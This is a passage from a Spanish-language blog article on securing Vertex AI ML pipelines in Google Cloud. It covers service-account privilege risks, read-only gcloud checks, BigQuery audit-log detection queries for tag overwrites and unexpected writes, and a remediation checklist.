  
  
  El Problema de Identidad del Pipeline
&lt;/h3&gt;

&lt;p&gt;Cada componente de un pipeline Kubeflow/Vertex corre con una service account. Por defecto, a menos que se especifique explícitamente, los componentes corren como la &lt;strong&gt;Compute Engine default service account&lt;/strong&gt; del proyecto. Esta cuenta, en la mayoría de los proyectos, tiene &lt;code&gt;roles/editor&lt;/code&gt; — que otorga acceso de escritura a prácticamente cada recurso GCP en el proyecto.&lt;/p&gt;

&lt;p&gt;Un componente comprometido (via cualquiera de los vectores anteriores) que hereda esta identidad puede:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Leer y escribir cualquier bucket de GCS en el proyecto&lt;/li&gt;
&lt;li&gt;Consultar o modificar cualquier tabla de BigQuery&lt;/li&gt;
&lt;li&gt;Subir imágenes a Artifact Registry&lt;/li&gt;
&lt;li&gt;Subir modelos a Vertex AI Model Registry&lt;/li&gt;
&lt;li&gt;Leer secretos de Secret Manager (con &lt;code&gt;roles/secretmanager.secretAccessor&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Emitir tokens a otras service accounts (si &lt;code&gt;roles/iam.serviceAccountTokenCreator&lt;/code&gt; está en scope)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;En la práctica, esto significa que un único paso comprometido del pipeline puede pivotar para comprometer todos los sistemas downstream, incluyendo la infraestructura de serving de producción.&lt;/p&gt;

&lt;h3&gt;
  
  
  Verificando la Configuración de Service Account de tu Pipeline
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verificar qué SA usa tu pipeline de Vertex por defecto&lt;/span&gt;
gcloud projects get-iam-policy &lt;span class="nv"&gt;$PROJECT_ID&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--flatten&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"bindings[].members"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"table(bindings.role, bindings.members)"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"bindings.members:serviceAccount AND bindings.role:roles/editor"&lt;/span&gt;

&lt;span class="c"&gt;# Inspeccionar la SA asignada a un pipeline job específico&lt;/span&gt;
gcloud ai pipeline-jobs describe PIPELINE_JOB_ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"json"&lt;/span&gt; | jq &lt;span class="s1"&gt;'.serviceAccount'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La postura correcta es una service account dedicada por pipeline (o por componente, para pipelines de alta sensibilidad) con los permisos mínimos requeridos para ese paso específico.&lt;/p&gt;




&lt;h2&gt;
  
  
  Parte 8: Detección — Qué Monitorear Realmente
&lt;/h2&gt;

&lt;p&gt;La mayoría de las configuraciones de monitoreo de seguridad de GCP se enfocan en cambios de IAM y eventos de red. Para la integridad de pipelines ML, las señales que importan son diferentes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Queries de Cloud Audit Logs para Seguridad de Pipelines
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Detectar sobreescrituras de tags de imágenes en Artifact Registry:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Query de BigQuery contra Cloud Audit Logs exportados&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt;
  &lt;span class="nb"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;authenticationInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;principalEmail&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resourceName&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;recurso&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;methodName&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;metodo&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;
  &lt;span class="nv"&gt;`mi-proyecto.audit_logs.cloudaudit_googleapis_com_data_access_*`&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;serviceName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;"artifactregistry.googleapis.com"&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;methodName&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="nv"&gt;"%UpdateTag%"&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;TIMESTAMP_SUB&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;CURRENT_TIMESTAMP&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="k"&gt;DAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Detectar escrituras inesperadas en Feature Store:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;
  &lt;span class="nb"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;authenticationInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;principalEmail&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resourceName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;methodName&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;
  &lt;span class="nv"&gt;`mi-proyecto.audit_logs.cloudaudit_googleapis_com_data_access_*`&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;serviceName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;"aiplatform.googleapis.com"&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;methodName&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="nv"&gt;"%WriteFeatureValues%"&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;authenticationInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;principalEmail&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="c1"&gt;-- Whitelist de SAs de ingesta de features autorizadas&lt;/span&gt;
    &lt;span class="nv"&gt;"feature-ingestion-sa@mi-proyecto.iam.gserviceaccount.com"&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;TIMESTAMP_SUB&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;CURRENT_TIMESTAMP&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;DAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Detectar ejecuciones de pipeline que usaron una imagen de contenedor inesperada:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;
  &lt;span class="nb"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;requestJson&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;authenticationInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;principalEmail&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;
  &lt;span class="nv"&gt;`mi-proyecto.audit_logs.cloudaudit_googleapis_com_activity_*`&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;
  &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;serviceName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;"aiplatform.googleapis.com"&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;methodName&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="nv"&gt;"%CreateCustomJob%"&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="n"&gt;JSON_EXTRACT_SCALAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;protopayload_auditlog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;requestJson&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nv"&gt;"$.customJob.jobSpec.workerPoolSpecs[0].containerSpec.imageUri"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="nv"&gt;"%@sha256:%"&lt;/span&gt;  &lt;span class="c1"&gt;-- Marcar cualquier job que usa tag en lugar de digest&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;TIMESTAMP_SUB&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;CURRENT_TIMESTAMP&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="k"&gt;DAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Parte 9: Checklist de Remediación
&lt;/h2&gt;

&lt;p&gt;Este no es un checklist de "mejores prácticas" en el sentido genérico. Estos son los controles específicos que cierran los vectores de ataque específicos descritos en este artículo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cadena de suministro de dependencias:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fijar todos los paquetes en &lt;code&gt;requirements.txt&lt;/code&gt; por hash, no por versión: &lt;code&gt;pip-compile --generate-hashes&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Configurar pip para usar solo tu Artifact Registry privado como índice: &lt;code&gt;--index-url https://us-central1-python.pkg.dev/PROYECTO/REPO/simple/ --no-deps&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Habilitar el escaneo de vulnerabilidades de Artifact Registry en todas las imágenes de contenedores&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Integridad de contenedores:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Referenciar todos los contenedores de entrenamiento por digest en el YAML del pipeline, nunca por tag&lt;/li&gt;
&lt;li&gt;Implementar un paso post-build en Cloud Build que registre el digest en un log inmutable separado&lt;/li&gt;
&lt;li&gt;Auditar el IAM de Artifact Registry para asegurar que no haya acceso de escritura amplio desde service accounts compartidas&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Seguridad de componentes del pipeline:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No almacenar URIs de componentes compartidos en buckets de GCS con IAM demasiado permisivo&lt;/li&gt;
&lt;li&gt;Usar Object Versioning y Object Retention en el bucket de GCS que almacena las especificaciones de componentes&lt;/li&gt;
&lt;li&gt;Validar los hashes de las especificaciones de componentes en el momento del envío del pipeline, antes de que Vertex compile el grafo&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Higiene de service accounts:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Crear una service account dedicada por pipeline con IAM de mínimo privilegio&lt;/li&gt;
&lt;li&gt;Nunca usar la Compute Engine default service account para training jobs de ML&lt;/li&gt;
&lt;li&gt;Auditar el uso de claves de service account: preferir Workload Identity sobre SA keys&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Integridad de artefactos del modelo:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Implementar firma de artefactos basada en KMS como se describe en la Parte 6&lt;/li&gt;
&lt;li&gt;Insertar un componente de verificación de hash entre entrenamiento y evaluación en todos los pipelines&lt;/li&gt;
&lt;li&gt;Habilitar Object Versioning en todos los buckets de GCS de artefactos de modelos&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Monitoreo:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exportar Cloud Audit Logs a BigQuery y correr las queries de detección de la Parte 8 de forma programada&lt;/li&gt;
&lt;li&gt;Crear políticas de alertas en Cloud Monitoring sobre los patrones de logs anteriores&lt;/li&gt;
&lt;li&gt;Incluir eventos de mutación de tags de Artifact Registry en tu pipeline de eventos de seguridad&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Reflexión Final
&lt;/h2&gt;

&lt;p&gt;La postura de seguridad de la mayoría de los deployments de Vertex AI es equivalente a tener una bóveda con una cerradura biométrica en la puerta y una ventana abierta en el costado. Los datos de entrenamiento están protegidos. Todo lo que los rodea — el código que los procesa, los contenedores que ejecutan ese código, la orquestación que secuencia los pasos, los artefactos que emergen de todo eso — está en gran medida sin controlar.&lt;/p&gt;

&lt;p&gt;Este no es principalmente un problema de Vertex AI. Es un problema de modelo mental. Los pipelines ML son cadenas de suministro de software, y deben tratarse con el mismo rigor adversarial que aplicamos a los deployments de aplicaciones de producción. La diferencia es que el output no es un binario ni un servicio web — es un modelo que tomará decisiones a escala, frecuentemente en contextos donde esas decisiones son difíciles de auditar después del hecho.&lt;/p&gt;

&lt;p&gt;Un servicio web con backdoor puede parchearse. Un modelo entrenado en un pipeline envenenado puede ser deployado, reentrenado, destilado y federado a través de sistemas antes de que el compromiso sea detectado — si es que se detecta.&lt;/p&gt;

&lt;p&gt;Los controles descritos aquí no son exóticos. Son prácticas estándar de seguridad de cadena de suministro de software aplicadas a un contexto donde sistemáticamente están ausentes. El objetivo de este artículo es hacer esa ausencia visible.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Este artículo forma parte de una serie sobre seguridad GCP para infraestructura de ML. Los próximos artículos cubrirán patrones de exfiltración de datos en BigQuery, Vertex AI Workbench como vector de movimiento lateral, y la construcción de un audit trail inmutable para el linaje de modelos ML usando Cloud Audit Logs y Pub/Sub.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;gcp-security&lt;/code&gt; &lt;code&gt;vertex-ai&lt;/code&gt; &lt;code&gt;mlops&lt;/code&gt; &lt;code&gt;machine-learning&lt;/code&gt; &lt;code&gt;supply-chain-security&lt;/code&gt; &lt;code&gt;cloud-security&lt;/code&gt; &lt;code&gt;mlsec&lt;/code&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>googlecloud</category>
      <category>machinelearning</category>
      <category>security</category>
    </item>
  </channel>
</rss>
